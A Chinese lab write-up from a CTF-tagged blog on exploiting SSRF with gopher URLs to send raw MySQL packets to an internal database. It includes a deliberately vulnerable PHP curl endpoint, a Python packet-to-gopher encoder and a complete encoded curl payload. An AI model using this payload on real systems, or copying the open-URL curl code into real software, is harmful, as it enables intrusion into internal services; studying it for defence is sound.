美文网首页CTFCTFCTF
gopher 协议攻击内网 mysql

gopher 协议攻击内网 mysql

作者: kur0mi | 来源:发表于2018-08-11 23:41 被阅读10次

本地测试

一开始使用的是 centos 6.5 的虚拟机

后来发现我的 curl 为 7.19.7 版本,不支持 gopher 协议

但是都失败了..

如果有 centos 6.5 升级 curl 版本成功的请告诉我!

环境搭建

失败了就只能慢慢的搭环境了,一时脑抽想体验一下 docker-compose,就去装了 dnmp(docker+nginx+mysql+php) 很棒的一个项目

不过默认 php_curl 扩展没有打开,需要手动开启,否则会报错 curl_init 函数未定义

我的环境大概就成了这样:

  • 主机 80 端口映射到了 nginx 容器,3306 端口映射到了 mysql 容器
  • 容器内则需要通过 ip 172.19.0.1 来访问到主机

nginx 容器内放一个 获取外部资源的 curl

<?php
if(isset($_GET["url"])) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
        // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_exec($ch);
        curl_close($ch);
}
?>

进行本地测试

image.png

成功通过 gopher 协议将数据传送到了 2333 端口

远程测试

1533999437946.png

抓包

使用 tcpdump 抓包

为方便抓包,mysql -h127.0.0.1 -uroot -p 指定使用 TCP/IP 套接字,否则会使用 unix 套接字

在 mysql 的认证阶段,如果有密码,那么服务端会返回一个 salt 来进行密码认证

因为我们是直接发送数据流没办法与服务端交互,因此 只能是空密码

数据处理

将原始数据转换成类似 url 的格式

#!/usr/bin/env python2
# coding: utf-8
import urllib

s = """5000000185a60f0000000001210000000000000000000000000000000000000000000000746573740014d07fd833aedda1666a97d3474aa85f399659626f6d7973716c5f6e61746976655f70617373776f726400
210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031
0f0000000373686f7720646174616261736573
0100000001"""

s = "".join(s.split())

def encode(s):
    a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]
    return "gopher://127.0.0.1:3306/_%" + "%".join(a)

s = encode(s)
print "[+ local]", s

s = urllib.quote(s)
print "[+ url]", s

本机测试

1534000335933.png

远程测试

最终 payload 为

curl -vv ssrf/?url=gopher%3A//172.19.0.1%3A3306/_%25b0%2500%2500%2501%2585%25a6%253f%2520%2500%2500%2500%2501%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2573%2503%255f%256f%2573%2510%2564%2565%2562%2569%2561%256e%252d%256c%2569%256e%2575%2578%252d%2567%256e%2575%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2506%2531%2532%2531%2530%2535%2537%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2507%2531%2530%252e%2531%252e%2532%2539%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501 --output -

可以成功

1534000725105.png

许多许多坑

大概是昨晚没睡好.. 一天脑子短路

  1. 昨天用 kali 和另一个虚拟机(centos)来搞,搞了半天发现是 curl 版本太低,不支持 gopher 协议

  2. 然后想把 curl 版本升上去,一晚都没睡好,还tmd失败了

  3. 第二天起来拿 docker-compose 搭了个 环境,一开始测试没有返回数据,最坑的是 nginx 还tmd返回 200 OK,让我一度怀疑人生,检查 docker-compose 组件关系,最后发现是 php curl_init 函数未定义

  4. 这次就是 php_curl 扩展没有开,打开一下,又是一顿搜索

  5. 搭好了测试,本地测试炸了,远程测试也炸,一度怀疑我的 payload 有问题,又是检查 url格式 又是重新抓包

  6. 最后问题在于 nginx 服务器的 127.0.0.1 并没有指向我的主机..

    nginx 装在 docker 中

    主机 80 端口映射到了 nginx 容器,3306 端口映射到了 mysql 容器,因此可以直接 用 127.0.0.1 访问

    但是 用于测试的 2333 端口并没有进行映射,因此 nc 主机 de

    127.0.0.1:2333 对于 nginx 的 127.0.0.1:2333 来说 并没有什么卵用

现在想想,当时懒不想去配日志,猜来猜去才弄出这么多事情,得

相关文章

  • gopher 协议攻击内网 mysql

    本地测试 一开始使用的是 centos 6.5 的虚拟机 后来发现我的 curl 为 7.19.7 版本,不支持 ...

  • gopher协议的攻击利用

    转自paper.tuisec.win/detail.jsp 攻击内网redis 攻击redis常见exp为: 对应...

  • HTTP协议简介

    众所周知,Internet的基本协议是TCP/IP协议,目前广泛采用的FTP、Archie Gopher等是建立在...

  • SSRF漏洞原理是什么?利用时有哪些伪协议?

    漏洞原理 利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。 ssrf用处 探测内网信息,用协议探ftp%...

  • urllib()模块

    urllib提供了一个高级的Web通信库,支持基本的web协议,如HTTP,FTP和Gopher协议,同时也支持对...

  • 真题解析之数据分析

    网络环境 黑客攻击流程攻入server0,拿到shell内网扫描扫描到有漏洞的服务后,设置代理进行内网攻击黑客会在...

  • kerberos 认证学习

    前言 内网渗透大多数为域渗透。学习域渗透kerberos协议就是绕不过的一个难点,白银票据、黄金票据、攻击域控都离...

  • [题目]记一次利用gopher的内网mysql盲注

    进去之后随便输账号密码登陆, 发现是个send.php在url后缀中,疑似文件包含,尝试用phpfilter发现可...

  • 假消息攻击

    1、假消息攻击是指利用网络协议设计中的安全缺陷,通过发送伪装的数据包达到欺骗目标、从中获利的目的。 是一种内网渗透...

  • 网络嗅探

    1、 (1)Why要内网渗透:安全机制严,正面突破难;内网间信任,攻击更容易。 (2)内网渗透技术:嗅探、假消息攻...

网友评论

    本文标题:gopher 协议攻击内网 mysql

    本文链接:https://www.haomeiwen.com/subject/vuujbftx.html